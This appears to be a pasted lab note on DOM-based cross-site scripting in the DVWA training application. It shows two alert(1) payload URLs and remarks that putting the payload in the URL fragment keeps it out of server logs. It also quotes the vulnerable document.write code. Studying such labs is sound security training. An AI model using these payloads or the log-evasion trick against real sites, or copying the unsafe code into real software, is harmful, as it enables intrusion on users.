Pasted

Basic but the xss gets sent to the server so hits the logs
 
http://dvwa.dev/dom_xss.php?default=%3Cscript%3Ealert(1)%3C/script%3E
 
Better, the fragment is client side only so doesn't go to the server.
 
http://dvwa.dev/dom_xss.php?default=English#%3Cscript%3Ealert(1)%3C/script%3E
 
Select your language:
 
<select><script>
 
document.write("<option value='1'>"+decodeURI(document.location.href.substring(document.location.href.indexOf("default=")+8))+"</option>");
 
document.write("<option value='2'>English</option>");
document.write("<option value='3'>Almost English</option>");
document.write("<option value='4'>Spanish</option>");
document.write("<option value='5'>German</option>");
 
</script></select>
<input type="submit" value="Select" />